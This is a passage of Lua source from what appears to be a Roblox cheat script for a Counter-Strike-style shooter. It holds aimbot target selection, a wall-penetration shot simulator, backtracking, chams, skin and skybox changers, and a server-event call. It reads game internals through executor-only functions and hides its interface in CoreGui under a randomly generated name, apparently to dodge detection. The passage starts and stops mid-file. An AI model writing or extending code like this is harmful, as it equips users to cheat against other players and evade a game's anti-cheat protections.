913 AllWeapons = {"USP","P2000","Glock","DualBerettas","P250","FiveSeven","Tec9","CZ","DesertEagle","R8","MP9","MAC10","MP7","UMP","P90","Bizon","M4A4","M4A1","AK47","Famas","Galil","AUG","Scout","SG","AWP","SCAR20","G3SG1","M249","Negev","XM","Nova","MAG7","SawedOff"},
914 Types = {"Pistols", "SMGs", "Rifles", "AWP", "Autosnipers", "Scout", "Heavies", "Shotguns"},
915 Path = Services.ReplicatedStorage:FindFirstChild("Weapons"),
916}
917
918local Materials = {
919 "ForceField",
920 "Plastic",
921 "Wood",
922 "Slate",
923 "Concrete",
924 "CorrodedMetal",
925 "DiamondPlate",
926 "Foil",
927 "Grass",
928 "Ice",
929 "Marble",
930 "Granite",
931 "Brick",
932 "Pebble",
933 "Sand",
934 "Fabric",
935 "SmoothPlastic",
936 "Metal",
937 "WoodPlanks",
938 "Cobblestone",
939 "Neon",
940 "Glass",
941}
942
943local Animations = {
944 "Fire",
945 "Fire2",
946 "Reload",
947 "Stab",
948 "Reload1",
949 "Reload2",
950 "Inspect",
951 "Apply",
952 "Remove",
953 "StopFire"
954}
955
956local Hitsounds = {
957 TF2 = 3455144981,
958 TF2_Squasher = 3466981613,
959 TF2_Retro = 3466984142,
960 TF2_Beepo = 3466987025,
961 TF2_Percussion = 3466985670,
962 TF2_Space = 3466982899,
963 TF2_Vortex = 3466980212,
964 TF2_Electro = 3458224686,
965 TF2_Note = 3466988045,
966 TF2_Panhit = 3431749479,
967 Body = 3213738472,
968 Body2 = 2729036768,
969 Thud = 3213739706,
970 Clink = 1347140027,
971 Skeet = 3124869783
972}
973
974local HitsoundsTable = {
975 "Skeet",
976 "TF2",
977 "TF2_Squasher",
978 "TF2_Retro",
979 "TF2_Beepo",
980 "TF2_Percussion",
981 "TF2_Space",
982 "TF2_Vortex",
983 "TF2_Electro",
984 "TF2_Note",
985 "TF2_Panhit",
986 "Body",
987 "Body2",
988 "Thud",
989 "Clink"
990}
991
992local Skyboxes = {
993 ["Alien Red (Nostalgia)"] = {
994 SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1012889",
995 SkyboxBk = "http://www.roblox.com/asset/?version=1&id=1012890",
996 SkyboxDn = "http://www.roblox.com/asset/?version=1&id=1012891",
997 SkyboxFt = "http://www.roblox.com/asset/?version=1&id=1012887",
998 SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1012889",
999 SkyboxRt = "http://www.roblox.com/asset/?version=1&id=1012888",
1000 SkyboxUp = "http://www.roblox.com/asset/?version=1&id=1014449",
1001 StarCount = 3000,
1002 SunAngularSize = 21
1003 },
1004 ["Cloudy Skies"] = {
1005 SkyboxLf = "http://www.roblox.com/asset/?id=252760980",
1006 SkyboxBk = "http://www.roblox.com/asset/?id=252760981",
1007 SkyboxDn = "http://www.roblox.com/asset/?id=252763035",
1008 SkyboxFt = "http://www.roblox.com/asset/?id=252761439",
1009 SkyboxLf = "http://www.roblox.com/asset/?id=252760980",
1010 SkyboxRt = "http://www.roblox.com/asset/?id=252760986",
1011 SkyboxUp = "http://www.roblox.com/asset/?id=252762652",
1012 StarCount = 3000,
1013 SunAngularSize = 21
1014 },
1015 ["Counter Strike City"] = {
1016 SkyboxLf = "rbxassetid://2240133550",
1017 SkyboxBk = "rbxassetid://2240134413",
1018 SkyboxDn = "rbxassetid://2240136039",
1019 SkyboxFt = "rbxassetid://2240130790",
1020 SkyboxLf = "rbxassetid://2240133550",
1021 SkyboxRt = "rbxassetid://2240132643",
1022 SkyboxUp = "rbxassetid://2240135222",
1023 StarCount = 3000,
1024 SunAngularSize = 0
1025 },
1026 ["Dark City"] = {
1027 SkyboxLf = "rbxassetid://1424484951",
1028 SkyboxBk = "rbxassetid://1424486234",
1029 SkyboxDn = "rbxassetid://1424485998",
1030 SkyboxFt = "rbxassetid://1424485697",
1031 SkyboxLf = "rbxassetid://1424484951",
1032 SkyboxRt = "rbxassetid://1424484760",
1033 SkyboxUp = "rbxassetid://1424484510",
1034 StarCount = 3000,
1035 SunAngularSize = 21
1036 },
1037 ["Earth"] = {
1038 SkyboxLf = "http://www.roblox.com/asset/?id=166510092",
1039 SkyboxBk = "http://www.roblox.com/asset/?id=166509999",
1040 SkyboxDn = "http://www.roblox.com/asset/?id=166510057",
1041 SkyboxFt = "http://www.roblox.com/asset/?id=166510116",
1042 SkyboxLf = "http://www.roblox.com/asset/?id=166510092",
1043 SkyboxRt = "http://www.roblox.com/asset/?id=166510131",
1044 SkyboxUp = "http://www.roblox.com/asset/?id=166510114",
1045 StarCount = 0,
1046 SunAngularSize = 21
1047 },
1048 ["Mountains By Crykee"] = {
1049 SkyboxLf = "http://www.roblox.com/asset/?id=368390615",
1050 SkyboxBk = "http://www.roblox.com/asset/?id=368385273",
1051 SkyboxDn = "http://www.roblox.com/asset/?id=48015300",
1052 SkyboxFt = "http://www.roblox.com/asset/?id=368388290",
1053 SkyboxLf = "http://www.roblox.com/asset/?id=368390615",
1054 SkyboxRt = "http://www.roblox.com/asset/?id=368385190",
1055 SkyboxUp = "http://www.roblox.com/asset/?id=48015387",
1056 StarCount = 3000,
1057 SunAngularSize = 21
1058 },
1059 ["Old Skybox"] = {
1060 SkyboxLf = "http://www.roblox.com/asset/?id=15437157",
1061 SkyboxBk = "http://www.roblox.com/asset/?id=15436783",
1062 SkyboxDn = "http://www.roblox.com/asset/?id=15436796",
1063 SkyboxFt = "http://www.roblox.com/asset/?id=15436831",
1064 SkyboxLf = "http://www.roblox.com/asset/?id=15437157",
1065 SkyboxRt = "http://www.roblox.com/asset/?id=15437166",
1066 SkyboxUp = "http://www.roblox.com/asset/?id=15437184",
1067 StarCount = 3000,
1068 SunAngularSize = 21
1069 },
1070 ["Purple Clouds"] = {
1071 SkyboxLf = "http://www.roblox.com/asset/?id=570557620",
1072 SkyboxBk = "http://www.roblox.com/asset/?id=570557514",
1073 SkyboxDn = "http://www.roblox.com/asset/?id=570557775",
1074 SkyboxFt = "http://www.roblox.com/asset/?id=570557559",
1075 SkyboxLf = "http://www.roblox.com/asset/?id=570557620",
1076 SkyboxRt = "http://www.roblox.com/asset/?id=570557672",
1077 SkyboxUp = "http://www.roblox.com/asset/?id=570557727",
1078 StarCount = 3000,
1079 SunAngularSize = 21
1080 },
1081 ["Purple Nebula"] = {
1082 SkyboxLf = "http://www.roblox.com/asset/?id=159454286",
1083 SkyboxBk = "http://www.roblox.com/asset/?id=159454299",
1084 SkyboxDn = "http://www.roblox.com/asset/?id=159454296",
1085 SkyboxFt = "http://www.roblox.com/asset/?id=159454293",
1086 SkyboxLf = "http://www.roblox.com/asset/?id=159454286",
1087 SkyboxRt = "http://www.roblox.com/asset/?id=159454300",
1088 SkyboxUp = "http://www.roblox.com/asset/?id=159454288",
1089 StarCount = 0,
1090 SunAngularSize = 21
1091 },
1092 ["Red Sky"] = {
1093 SkyboxLf = "http://www.roblox.com/Asset/?ID=401664881",
1094 SkyboxBk = "http://www.roblox.com/Asset/?ID=401664839",
1095 SkyboxDn = "http://www.roblox.com/Asset/?ID=401664862",
1096 SkyboxFt = "http://www.roblox.com/Asset/?ID=401664960",
1097 SkyboxLf = "http://www.roblox.com/Asset/?ID=401664881",
1098 SkyboxRt = "http://www.roblox.com/Asset/?ID=401664901",
1099 SkyboxUp = "http://www.roblox.com/Asset/?ID=401664936",
1100 StarCount = 0,
1101 SunAngularSize = 21
1102 },
1103 ["Shrek"] = {
1104 SkyboxLf = "rbxassetid://198329363",
1105 SkyboxBk = "rbxassetid://198329363",
1106 SkyboxDn = "rbxassetid://198329363",
1107 SkyboxFt = "rbxassetid://198329363",
1108 SkyboxLf = "rbxassetid://198329363",
1109 SkyboxRt = "rbxassetid://198329363",
1110 SkyboxUp = "rbxassetid://198329363",
1111 StarCount = 0,
1112 SunAngularSize = 21
1113 },
1114 ["Stormy Sky"] = {
1115 SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1327363",
1116 SkyboxBk = "http://www.roblox.com/asset/?version=1&id=1327366",
1117 SkyboxDn = "http://www.roblox.com/asset/?version=1&id=1327367",
1118 SkyboxFt = "http://www.roblox.com/asset/?version=1&id=1327362",
1119 SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1327363",
1120 SkyboxRt = "http://www.roblox.com/asset/?version=1&id=1327361",
1121 SkyboxUp = "http://www.roblox.com/asset/?version=1&id=1327368",
1122 StarCount = 3000,
1123 SunAngularSize = 21
1124 },
1125 ["Twilight"] = {
1126 SkyboxLf = "rbxassetid://264909758",
1127 SkyboxBk = "rbxassetid://264908339",
1128 SkyboxDn = "rbxassetid://264907909",
1129 SkyboxFt = "rbxassetid://264909420",
1130 SkyboxLf = "rbxassetid://264909758",
1131 SkyboxRt = "rbxassetid://264908886",
1132 SkyboxUp = "rbxassetid://264907379",
1133 StarCount = 3000,
1134 SunAngularSize = 21
1135 },
1136 ["Vaporwave Colors"] = {
1137 SkyboxLf = "rbxassetid://1417494402",
1138 SkyboxBk = "rbxassetid://1417494030",
1139 SkyboxDn = "rbxassetid://1417494146",
1140 SkyboxFt = "rbxassetid://1417494253",
1141 SkyboxLf = "rbxassetid://1417494402",
1142 SkyboxRt = "rbxassetid://1417494499",
1143 SkyboxUp = "rbxassetid://1417494643",
1144 StarCount = 3000,
1145 SunAngularSize = 21
1146 },
1147 ["Vivid Skies"] = {
1148 SkyboxLf = "rbxassetid://2800902328",
1149 SkyboxBk = "rbxassetid://2800905936",
1150 SkyboxDn = "rbxassetid://2800905936",
1151 SkyboxFt = "rbxassetid://2800905116",
1152 SkyboxLf = "rbxassetid://2800902328",
1153 SkyboxRt = "rbxassetid://2800903916",
1154 SkyboxUp = "rbxassetid://2800906739",
1155 StarCount = 3000,
1156 SunAngularSize = 21
1157 },
1158 ["Wasteland"] = {
1159 SkyboxLf = "rbxassetid://2046135392",
1160 SkyboxBk = "rbxassetid://2046134302",
1161 SkyboxDn = "rbxassetid://2046134976",
1162 SkyboxFt = "rbxassetid://2046135977",
1163 SkyboxLf = "rbxassetid://2046135392",
1164 SkyboxRt = "rbxassetid://2046136939",
1165 SkyboxUp = "rbxassetid://2046136551",
1166 StarCount = 3000,
1167 SunAngularSize = 21
1168 },
1169}
1170
1171local SkyboxesTable = {
1172 "None",
1173 "Alien Red (Nostalgia)",
1174 "Cloudy Skies",
1175 "Counter Strike City",
1176 "Dark City",
1177 "Earth",
1178 "Mountains By Crykee",
1179 "Old Skybox",
1180 "Purple Clouds",
1181 "Purple Nebula",
1182 "Red Sky",
1183 "Shrek",
1184 "Stormy Sky",
1185 "Twilight",
1186 "Vaporwave Colors",
1187 "Vivid Skies",
1188 "Wasteland"
1189}
1190
1191local fakeCFrame = nil
1192
1193local Startsounds = {
1194 Default = 2668759868,
1195 Windows_95 = 265193160,
1196 Windows_XP = 4503772106,
1197 Windows_2000 = 130945434
1198}
1199
1200local SkinClicked = nil
1201
1202local function RandomCharGenerator(Length)
1203 local tb = {}
1204 for i = 1, Length do
1205 tb[i] = string.char(math.random(0, 100))
1206 end
1207 return table.concat(tb)
1208end
1209
1210local Ace = Instance.new("ScreenGui", Services.CoreGui)
1211Ace.Name = RandomCharGenerator(20)
1212
1213local DaFrame = Instance.new("Frame")
1214local UIListLayoute = Instance.new("UIListLayout")
1215
1216DaFrame.Parent = Ace
1217DaFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
1218DaFrame.BackgroundTransparency = 1.000
1219DaFrame.Position = UDim2.new(0.00506471563, 0, 0, 0)
1220DaFrame.Size = UDim2.new(0, 91, 0, 100)
1221
1222UIListLayoute.Parent = DaFrame
1223UIListLayoute.SortOrder = Enum.SortOrder.LayoutOrder
1224
1225Weapons.Old = Weapons.Path:Clone()
1226
1227local Backtrack = Instance.new("Model", workspace)
1228local BacktrackSample = game:GetObjects("rbxassetid://4707836033")[1]
1229
1230local S = Services.RunService.Stepped
1231
1232Local.Mouse = Local.Player:GetMouse()
1233Local.PlayerGui = Local.Player.PlayerGui
1234Local.Game = getsenv(Local.PlayerGui.Client)
1235Local.Chat = getsenv(Local.PlayerGui.GUI.Main.Chats.DisplayChat)
1236Local.Game.resetinspect = true
1237
1238function CreateFOV()
1239 local Circle = Drawing.new("Circle")
1240 S:connect(function()
1241 Circle.Position = Services.UserInputService:GetMouseLocation()
1242 end)
1243 return Circle
1244end
1245
1246Storage["RageCircle"] = CreateFOV()
1247Storage["LegitCircle"] = CreateFOV()
1248
1249local tsp = Vector2.new(Local.Camera.ViewportSize.X / 2, Local.Camera.ViewportSize.Y)
1250
1251local Skybox = Instance.new("Sky")
1252
1253function Whizz(v)
1254 Events.Whizz:FireServer(v, Weapons.Path.AWP)
1255end
1256
1257function Rainbow(speed, saturation, brightness)
1258 if speed == nil then
1259 speed = 3
1260 end
1261 if saturation == nil then
1262 saturation = 0.5
1263 end
1264 if brightness == nil then
1265 brightness = 1
1266 end
1267 return Color3.fromHSV(math.sin((tick() / (3/speed)) % 1), saturation, brightness)
1268end
1269
1270PlayerListInfo = {}
1271
1272function GetDistanceSq(v1, v2) -- yeah optimization
1273 local a = v2.x - v1.x
1274 local b = v2.y - v1.y
1275 return (a*a) + (b*b)
1276end
1277
1278function GetDistanceSq3(v1, v2) -- yeah optimization
1279 local a = v2.x - v1.x
1280 local b = v2.y - v1.y
1281 local c = v2.z - v1.z
1282 return a*a + b*b + c*c
1283end
1284
1285local PlaySound = function(Sound, Time)
1286 if Time == nil then
1287 Time = 0
1288 end
1289 spawn(function()
1290 local s = Instance.new("Sound")
1291 s.Parent = workspace
1292 s.SoundId = "rbxassetid://"..tostring(Sound)
1293 s.Volume = 4
1294 s:Play()
1295 wait(2)
1296 s:Destroy()
1297 end)
1298end
1299
1300local AimbotFunctions = {}
1301
1302AimbotFunctions.getAimCorners = function(obj, size)
1303 local corners = {
1304 Vector3.new(obj.X+size.X/2, obj.Y+size.Y/2, obj.Z), -- top left
1305 Vector3.new(obj.X-size.X/2, obj.Y+size.Y/2, obj.Z), -- top right
1306
1307 Vector3.new(obj.X+size.X/2, obj.Y-size.Y/2, obj.Z), -- bottom left
1308 Vector3.new(obj.X-size.X/2, obj.Y-size.Y/2, obj.Z), -- bottom right
1309 }
1310 return corners
1311end
1312
1313AimbotFunctions.getAimpoints = function(c)
1314 local aimpoints = {}
1315 if c:FindFirstChild("HeadHB") then
1316 table.insert(aimpoints, c.HeadHB.Position)
1317 end
1318
1319 table.insert(aimpoints, c.UpperTorso.Position)
1320
1321 table.insert(aimpoints, c.LeftUpperArm.Position)
1322 table.insert(aimpoints, c.RightUpperArm.Position)
1323
1324 table.insert(aimpoints, c.LeftUpperLeg.Position)
1325 table.insert(aimpoints, c.RightUpperLeg.Position)
1326
1327 return aimpoints
1328end
1329
1330AimbotFunctions.getRealCameraVector = function(v)
1331 return v.HumanoidRootPart.CFrame.p + v.Humanoid.CameraOffset + Vector3.new(0, 1.5, 0)
1332end
1333
1334AimbotFunctions.getCorners = function(obj, size)
1335 local corners = {
1336 Vector3.new(obj.X+size.X/2, obj.Y+size.Y/2, obj.Z+size.Z/2);
1337 Vector3.new(obj.X-size.X/2, obj.Y+size.Y/2, obj.Z+size.Z/2);
1338
1339 Vector3.new(obj.X-size.X/2, obj.Y-size.Y/2, obj.Z-size.Z/2);
1340 Vector3.new(obj.X+size.X/2, obj.Y-size.Y/2, obj.Z-size.Z/2);
1341
1342 Vector3.new(obj.X-size.X/2, obj.Y+size.Y/2, obj.Z-size.Z/2);
1343 Vector3.new(obj.X+size.X/2, obj.Y+size.Y/2, obj.Z-size.Z/2);
1344
1345 Vector3.new(obj.X-size.X/2, obj.Y-size.Y/2, obj.Z+size.Z/2);
1346 Vector3.new(obj.X+size.X/2, obj.Y-size.Y/2, obj.Z+size.Z/2);
1347 }
1348 return corners
1349end
1350
1351AimbotFunctions.VectorVisible = function(vector, v)
1352 local snapshot = Instance.new("Camera")
1353 snapshot.CFrame = CFrame.new(Local.Player.Character.Head.Position, vector)
1354 local ignorelist = {Local.Camera, snapshot, Local.Player.Character, v.Character, Backtrack}
1355 local parts = snapshot:GetPartsObscuringTarget({vector}, ignorelist)
1356 snapshot:Destroy()
1357 return #parts == 0
1358end
1359
1360local HitboxPriorities = {
1361 Head = 4,
1362 Torso = 3,
1363 LeftArm = 2,
1364 RightArm = 2,
1365 LeftLeg = 1,
1366 RightLeg = 1
1367}
1368
1369newclose = newcclosure or function(f) return f end
1370
1371local ToSimplified = {
1372 ["LeftHand"] = "LeftArm",
1373 ["LeftLowerArm"] = "LeftArm",
1374 ["LeftUpperArm"] = "LeftArm",
1375 ["RightHand"] = "RightArm",
1376 ["RightLowerArm"] = "RightArm",
1377 ["RightUpperArm"] = "RightArm",
1378 ["HeadHB"] = "Head",
1379 ["UpperTorso"] = "Torso",
1380 ["LowerTorso"] = "Torso",
1381 ["LeftFoot"] = "LeftLeg",
1382 ["LeftLowerLeg"] = "LeftLeg",
1383 ["LeftUpperLeg"] = "LeftLeg",
1384 ["RightFoot"] = "RightLeg",
1385 ["RightLowerLeg"] = "RightLeg",
1386 ["RightUpperLeg"] = "RightLeg"
1387}
1388
1389local FromSimplified = {
1390 ["LeftArm"] = "LeftLowerArm",
1391 ["RightArm"] = "RightLowerArm",
1392 ["Head"] = "HeadHB",
1393 ["Torso"] = "UpperTorso",
1394 ["LeftLeg"] = "LeftUpperLeg",
1395 ["RightLeg"] = "RightUpperLeg"
1396}
1397
1398AimbotFunctions.GetClosestToCrosshair = function(stat)
1399 local target = nil;
1400 local distance = math.huge
1401 for _,v in pairs(Services.Players:GetPlayers()) do
1402 if v:FindFirstChild("CameraCF") and v:FindFirstChild("Status") and v.Status:FindFirstChild("Alive") and v.Status.Alive.Value and v.Team ~= Local.Player.Team then
1403 local Mouse = Local.Mouse
1404 local stat = getStatus(v)
1405 if stat == "Friend" then return end
1406 stat = Settings[stat]
1407 local worldPoint = v.CameraCF.Value.p
1408 local vector, onScreen = Local.Camera:WorldToScreenPoint(worldPoint)
1409 local magnitude = GetDistanceSq(Vector2.new(Mouse.X, Mouse.Y), Vector2.new(vector.X, vector.Y))
1410 if onScreen and magnitude < distance and (magnitude < stat.FOVpx*stat.FOVpx or stat.FOVlim) then
1411 distance = magnitude
1412 target = v
1413 end
1414 end
1415 end
1416 return target
1417end
1418
1419hammerunit2stud = 0.0694
1420
1421AimbotFunctions.SimulateShot = function(cf, c)
1422 local range
1423 local penetrationpower
1424 local gun = Local.Game.gun
1425 if gun:FindFirstChild("Range") then
1426 range = gun.Range.Value
1427 end
1428 if gun:FindFirstChild("Penetration") then
1429 penetrationpower = gun.Penetration.Value * 0.01
1430 end
1431 local firerate
1432 if gun:FindFirstChild("FireRate") then
1433 firerate = gun.FireRate.Value
1434 end
1435 if gun:FindFirstChild("Melee") then
1436 range = 64
1437 if Local.Game.Held2 == true then
1438 firerate = 1
1439 range = 48
1440 end
1441 end
1442 local tinsert = table.insert
1443 local hitlist = {
1444 workspace.Debris,
1445 Local.Player.Character,
1446 workspace.Ray_Ignore,
1447 Local.Camera,
1448 workspace.Map:WaitForChild("Clips"),
1449 workspace.Map:WaitForChild("SpawnPoints")
1450 }
1451 local crud = game.Players:GetPlayers()
1452 for i = 1, #crud do
1453 if crud[i].Name ~= Local.Player.Name and crud[i].Character and crud[i].Character:FindFirstChild("UpperTorso") then
1454 if crud[i] and crud[i].Character:FindFirstChild("HumanoidRootPart") then
1455 tinsert(hitlist, crud[i].Character.HumanoidRootPart)
1456 end
1457 if crud[i] and crud[i].Character:FindFirstChild("Head") then
1458 tinsert(hitlist, crud[i].Character.Head)
1459 end
1460 if crud[i] and crud[i].Character:FindFirstChild("Hat1") then
1461 tinsert(hitlist, crud[i].Character.Hat1)
1462 end
1463 if crud[i] and crud[i].Character:FindFirstChild("Hat2") then
1464 tinsert(hitlist, crud[i].Character.Hat2)
1465 end
1466 if crud[i] and crud[i].Character:FindFirstChild("Hat3") then
1467 tinsert(hitlist, crud[i].Character.Hat3)
1468 end
1469 if crud[i] and crud[i].Character:FindFirstChild("Hat4") then
1470 tinsert(hitlist, crud[i].Character.Hat4)
1471 end
1472 if crud[i] and crud[i].Character:FindFirstChild("Hat5") then
1473 tinsert(hitlist, crud[i].Character.Hat5)
1474 end
1475 if crud[i] and crud[i].Character:FindFirstChild("Hat6") then
1476 tinsert(hitlist, crud[i].Character.Hat6)
1477 end
1478 if crud[i] and crud[i].Character:FindFirstChild("Hat7") then
1479 tinsert(hitlist, crud[i].Character.Hat7)
1480 end
1481 if crud[i] and crud[i].Character:FindFirstChild("Hat8") then
1482 tinsert(hitlist, crud[i].Character.Hat8)
1483 end
1484 if crud[i] and crud[i].Character:FindFirstChild("Hat9") then
1485 tinsert(hitlist, crud[i].Character.Hat9)
1486 end
1487 if crud[i] and crud[i].Character:FindFirstChild("Hat10") then
1488 tinsert(hitlist, crud[i].Character.Hat10)
1489 end
1490 if crud[i] and crud[i].Character:FindFirstChild("Hat11") then
1491 tinsert(hitlist, crud[i].Character.Hat11)
1492 end
1493 if crud[i] and crud[i].Character:FindFirstChild("Hat12") then
1494 tinsert(hitlist, crud[i].Character.Hat12)
1495 end
1496 if crud[i] and crud[i].Character:FindFirstChild("Hat13") then
1497 tinsert(hitlist, crud[i].Character.Hat13)
1498 end
1499 if crud[i] and crud[i].Character:FindFirstChild("Hat14") then
1500 tinsert(hitlist, crud[i].Character.Hat14)
1501 end
1502 if crud[i] and crud[i].Character:FindFirstChild("Hat15") then
1503 tinsert(hitlist, crud[i].Character.Hat15)
1504 end
1505 if crud[i] and crud[i].Character:FindFirstChild("DKit") then
1506 tinsert(hitlist, crud[i].Character.DKit)
1507 end
1508 if crud[i] and crud[i].Character:FindFirstChild("Gun") then
1509 tinsert(hitlist, crud[i].Character.Gun)
1510 end
1511 if crud[i] and crud[i].Character:FindFirstChild("Gun2") then
1512 tinsert(hitlist, crud[i].Character.Gun2)
1513 end
1514 end
1515 end
1516 local direction = Vector3.new()
1517 local Mouse = cf.p + cf.lookVector * 999
1518 direction = (CFrame.new(cf.p, Mouse)).lookVector.unit * range * hammerunit2stud
1519 if Local.Game.equipped ~= "melee" then
1520 direction = cf.lookVector.unit * range * hammerunit2stud
1521 end
1522 local RayCasted = Ray.new(cf.p, direction)
1523 local partpenetrated = 0
1524 local limit = 0
1525 local PartHit, PositionHit, NormalHit
1526 local partmodifier = 1
1527 local damagemodifier = 1
1528 repeat
1529 PartHit, PositionHit, NormalHit = workspace:FindPartOnRayWithIgnoreList(RayCasted, hitlist, false, true)
1530 if PartHit and PartHit.Parent then
1531 partmodifier = 1
1532 if PartHit.Material == Enum.Material.DiamondPlate then
1533 partmodifier = 3
1534 end
1535 if PartHit.Material == Enum.Material.CorrodedMetal or PartHit.Material == Enum.Material.Metal or PartHit.Material == Enum.Material.Concrete or PartHit.Material == Enum.Material.Brick then
1536 partmodifier = 2
1537 end
1538 if PartHit.Name == "Grate" or PartHit.Material == Enum.Material.Wood or PartHit.Material == Enum.Material.WoodPlanks or PartHit and PartHit.Parent and PartHit.Parent:FindFirstChild("Humanoid") then
1539 partmodifier = 0.1
1540 end
1541 if PartHit.Transparency == 1 or PartHit.CanCollide == false or PartHit.Name == "Glass" or PartHit.Name == "Cardboard" or PartHit:IsDescendantOf(workspace.Ray_Ignore) or PartHit:IsDescendantOf(workspace.Debris) or PartHit and PartHit.Parent and PartHit.Parent.Name == "Hitboxes" then
1542 partmodifier = 0
1543 end
1544 if PartHit.Name == "nowallbang" then
1545 partmodifier = 100
1546 end
1547 if PartHit:FindFirstChild("PartModifier") then
1548 partmodifier = PartHit.PartModifier.Value
1549 end
1550 local fakehit, Endposition = workspace:FindPartOnRayWithWhitelist(Ray.new(PositionHit + direction * 1, direction * -2), {PartHit}, true)
1551 local PenetrationDistance = (Endposition - PositionHit).magnitude
1552 PenetrationDistance = PenetrationDistance * partmodifier
1553 limit = math.min(penetrationpower, limit + PenetrationDistance)
1554 local wallbang = false
1555 if partpenetrated >= 1 then
1556 wallbang = true
1557 end
1558 if PartHit and PartHit.Parent and PartHit.Parent.Name == "Hitboxes" or PartHit and PartHit.Parent.className == "Accessory" or PartHit and PartHit.Parent.className == "Hat" or PartHit.Name == "HumanoidRootPart" and PartHit.Parent.Name ~= "Door" or PartHit.Name == "Head" and PartHit.Parent:FindFirstChild("Hostage") == nil then
1559 else
1560 if PartHit and PartHit:IsDescendantOf(c) and PartHit.Transparency < 1 or PartHit.Name == "HeadHB" then
1561 return PartHit, PositionHit, damagemodifier, wallbang
1562 end
1563 end
1564 if partmodifier > 0 then
1565 partpenetrated = partpenetrated + 1
1566 end
1567 damagemodifier = 1 - limit / penetrationpower
1568 if PartHit and PartHit.Parent and PartHit.Parent.Name == "Hitboxes" or PartHit and PartHit.Parent and PartHit.Parent.Parent and PartHit.Parent.Parent:FindFirstChild("Humanoid2") or PartHit and PartHit.Parent and PartHit.Parent:FindFirstChild("Humanoid2") or PartHit and PartHit.Parent and PartHit.Parent:FindFirstChild("Humanoid") and (1 > PartHit.Transparency or PartHit.Name == "HeadHB") and PartHit.Parent:IsA("Model") then
1569 table.insert(hitlist, PartHit.Parent)
1570 else
1571 table.insert(hitlist, PartHit)
1572 end
1573 end
1574 until PartHit == nil or limit >= penetrationpower or partpenetrated >= 4 or 0 >= damagemodifier
1575end
1576
1577--[[
1578 if v.Status.Alive.Value and v.Team ~= Local.Player.Team then
1579 local head = v.Character[p]
1580 local worldPoint = head.Position
1581 local vector, onScreen = Local.Camera:WorldToScreenPoint(worldPoint)
1582 local magnitude = GetDistanceSq(Vector2.new(Local.Mouse.X, Local.Mouse.Y), Vector2.new(vector.X, vector.Y))
1583 if distance > magnitude and onScreen and (magnitude < math.pow(Settings.FOVpx, 2) or Settings.FOVlim) then
1584 distance = magnitude
1585 target = v
1586 end
1587 end
1588]]
1589
1590AimbotFunctions.GetNearest = function()
1591 local target = nil;
1592 local distance = math.huge
1593 for _,v in pairs(Services.Players:GetPlayers()) do
1594 if v.Status.Alive.Value and v.Team ~= Local.Player.Team then
1595 local magnitude = GetDistanceSq3(Local.Player.Character.HumanoidRootPart.Position, v.Character.HumanoidRootPart.Position)
1596 if distance > magnitude then
1597 distance = magnitude
1598 target = v
1599 end
1600 end
1601 end
1602 return target
1603end
1604
1605function doSelfChams()
1606 if Local.Camera:FindFirstChild("Arms") then
1607 if Settings.GunEnabled then
1608 for i,v in pairs(Local.Camera:FindFirstChild("Arms"):GetChildren()) do
1609 if v:IsA("BasePart") then
1610 v.Color = Settings.GunColor
1611 v.Material = Settings.GunMaterial
1612 v.Transparency = Settings.GunTransparency
1613 end
1614 end
1615 end
1616 if Settings.ArmsEnabled then
1617 if Local.Camera and Local.Camera:FindFirstChild("Arms") then
1618 for i,m in pairs(Local.Camera:FindFirstChild("Arms"):GetChildren()) do
1619 if m:IsA("Model") then
1620 for a,v in pairs(m:GetDescendants()) do
1621 if v:IsA("BasePart") then
1622 v.Color = Settings.ArmsColor
1623 v.Material = Settings.ArmsMaterial
1624 v.Transparency = Settings.ArmsTransparency
1625 end
1626 end
1627 end
1628 end
1629 end
1630 end
1631 for _,part in pairs (Local.Camera:FindFirstChild("Arms"):GetDescendants()) do
1632 if Settings.NoSleeves then
1633 if part.Name == "Sleeve" then
1634 if part:IsA("Motor6D") == false then
1635 part.Transparency = 1
1636 end
1637 end
1638 else
1639 if part.Name == "Sleeve" then
1640 if part:IsA("Motor6D") == false then
1641 part.Transparency = 0
1642 end
1643 end
1644 end
1645 if Settings.NoGloves then
1646 if part.Name == "Glove" then
1647 part.Transparency = 1
1648 end
1649 else
1650 if part.Name == "Glove" then
1651 part.Transparency = 0
1652 end
1653 end
1654 if Settings.NoGloves then
1655 if part.Name == "Glove" then
1656 part.Transparency = 1
1657 end
1658 else
1659 if part.Name == "Glove" then
1660 part.Transparency = 0
1661 end
1662 end
1663 end
1664 end
1665end
1666
1667function isAlive(v)
1668 return v and v.Character and v.Character:FindFirstChild("Head") and v.Character:FindFirstChild("HumanoidRootPart")
1669end
1670
1671local UIListLayout = Instance.new("UIListLayout")
1672local UIPadding = Instance.new("UIPadding")
1673local TT = Instance.new("Frame")
1674local Team = Instance.new("TextLabel")
1675local Username = Instance.new("TextLabel")
1676local Status = Instance.new("TextLabel")
1677local Age = Instance.new("TextLabel")
1678
1679local FESkin = Instance.new("Frame")
1680local SkinUser = Instance.new("TextLabel")
1681local Rarity = Instance.new("TextLabel")
1682local SkinLabel = Instance.new("TextLabel")
1683local UsingLabel = Instance.new("TextLabel")
1684
1685local UIListLayout_2 = Instance.new("UIListLayout")
1686local UIPadding_2 = Instance.new("UIPadding")
1687local SFrame = Instance.new("ScrollingFrame")
1688local OutfitScroll = Instance.new("ScrollingFrame")
1689local SkinScroll = Instance.new("ScrollingFrame")
1690local Back = Instance.new("Frame")
1691local OBack = Instance.new("Frame")
1692local SBack = Instance.new("Frame")
1693local UIListLayout_3 = Instance.new("UIListLayout")
1694local UIPadding_3 = Instance.new("UIPadding")
1695local UIGridLayout = Instance.new("UIGridLayout")
1696local Container = Instance.new("Frame")
1697--Properties:
1698UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
1699
1700UIPadding.PaddingBottom = UDim.new(0, 8)
1701UIPadding.PaddingLeft = UDim.new(0, 8)
1702UIPadding.PaddingRight = UDim.new(0, 8)
1703UIPadding.PaddingTop = UDim.new(0, 8)
1704
1705FESkin.Name = "FESkin"
1706FESkin.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1707FESkin.BorderColor3 = Color3.new(0, 0, 0)
1708FESkin.Position = UDim2.new(0.00346500333, 0, 0.00661594467, 0)
1709FESkin.Size = UDim2.new(1, 0, 0, 20)
1710
1711UISkin = Instance.new("UIListLayout")
